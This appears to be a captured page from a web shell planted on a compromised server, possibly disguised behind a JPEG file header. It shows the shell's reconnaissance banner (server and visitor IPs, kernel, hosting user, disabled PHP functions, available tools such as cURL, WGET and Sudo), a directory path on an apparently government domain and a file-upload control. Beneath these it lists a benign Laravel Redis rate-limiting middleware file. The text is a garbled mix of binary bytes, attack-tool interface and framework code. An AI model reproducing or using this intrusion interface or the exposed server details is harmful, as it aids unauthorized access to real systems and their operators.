ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.119.28.230 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Queue/Middleware/ |
Upload File : |
<?php namespace Illuminate\Queue\Middleware; use Illuminate\Container\Container; use Illuminate\Contracts\Redis\Factory as Redis; use Illuminate\Redis\Limiters\DurationLimiter; use Illuminate\Support\InteractsWithTime; class RateLimitedWithRedis extends RateLimited { use InteractsWithTime; /** * The Redis factory implementation. * * @var \Illuminate\Contracts\Redis\Factory */ protected $redis; /** * The timestamp of the end of the current duration by key. * * @var array */ public $decaysAt = []; /** * Create a new middleware instance. * * @param string $limiterName * @return void */ public function __construct($limiterName) { parent::__construct($limiterName); $this->redis = Container::getInstance()->make(Redis::class); } /** * Handle a rate limited job. * * @param mixed $job * @param callable $next * @param array $limits * @return mixed */ protected function handleJob($job, $next, array $limits) { foreach ($limits as $limit) { if ($this->tooManyAttempts($limit->key, $limit->maxAttempts, $limit->decayMinutes)) { return $this->shouldRelease ? $job->release($this->getTimeUntilNextRetry($limit->key)) : false; } } return $next($job); } /** * Determine if the given key has been "accessed" too many times. * * @param string $key * @param int $maxAttempts * @param int $decayMinutes * @return bool */ protected function tooManyAttempts($key, $maxAttempts, $decayMinutes) { $limiter = new DurationLimiter( $this->redis, $key, $maxAttempts, $decayMinutes * 60 ); return tap(! $limiter->acquire(), function () use ($key, $limiter) { $this->decaysAt[$key] = $limiter->decaysAt; }); } /** * Get the number of seconds that should elapse before the job is retried. * * @param string $key * @return int */ protected function getTimeUntilNextRetry($key) { return ($this->decaysAt[$key] - $this->currentTime()) + 3; } /** * Prepare the object after unserialization. * * @return void */ public function __wakeup() { parent::__wakeup(); $this->redis = Container::getInstance()->make(Redis::class); } }